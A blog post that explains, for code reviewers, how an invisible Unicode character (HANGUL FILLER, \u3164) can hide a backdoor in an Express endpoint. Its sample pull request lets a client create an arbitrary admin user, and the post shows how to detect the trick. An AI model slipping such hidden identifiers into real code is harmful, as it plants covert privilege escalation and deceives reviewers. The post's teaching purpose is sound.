
Context
The company hires an agency (or freelance) to help develop the current web application. The agency does PRs with their changes, and the team reviews and approves them before merging.
They make a PR with the following code:
const express = require('express');
const bodyParser = require('body-parser');
const app = express();
app.use(bodyParser.json());
let users = [];
app.post('/user', async (req, res) => {
try {
const {
name,
email,ㅤ
} = req.body;
const newUser = {
name,
email,
id: users.length,
};
users = [
...users,
newUser, ㅤ
];
res.status(200);
res.send(newUser);
} catch(e) {
res.status(500);
res.send('failed');
}
});
You try the endpoint in Postman, and it works. Do you accept the changes?
Backdoor
The previous code has just introduced a backdoor to the application when creating new users. The backdoor is in the body of the request to create a user: the client can pass an extra parameter to create another user with any properties.
Therefore, the client can easily create an admin user:
The previous request added the following user:
{
"name": "Secret",
"id": 999999,
"admin": true
}
How to Find the Backdoor in the Code?
First, I want to point out that I got the idea from this article. I only changed the example and the approach to the explanation. It felt so cool to test it in a sample project that I wanted to share it with you.
If we take a look at the code in VS Code, we get a hint of where is the backdoor:
That extra rectangle that we see is a valid character for a variable. The rectangle is “ㅤ” (or \u3164
), an invisible Unicode character.
“The character “ㅤ” (0x3164 in hex) is called “HANGUL FILLER” and belongs to the Unicode category “Letter, other”. As this character is considered to be a letter, it has the ID_Start property and can therefore appear in a JavaScript variable.” Certitude’s Article
Open the console and write const \u3164 = 10;
, or even better const a = { \u3164: 10 };
, then console.log(a)
to see how the key looks empty.
An example of a familiar Unicode character is “b,” which means the code does the same if we substitute “ㅤ” for “b”:
And now, the backdoor is visible.
Hacker
This was one of the few times that I felt like a hacker and was impressed at how such a low-level detail, like a Unicode character, could have such a significant impact.
I agree that the example is silly and hardly a real-life scenario. But I hope you also felt like a hacker when you tried it in the console.
If you like this post, consider sharing it with your friends on twitter or forwarding this email to them 🙈
Don't hesitate to reach out to me if you have any questions or see an error. I highly appreciate it.
And thanks to Michal for reviewing this article 🙏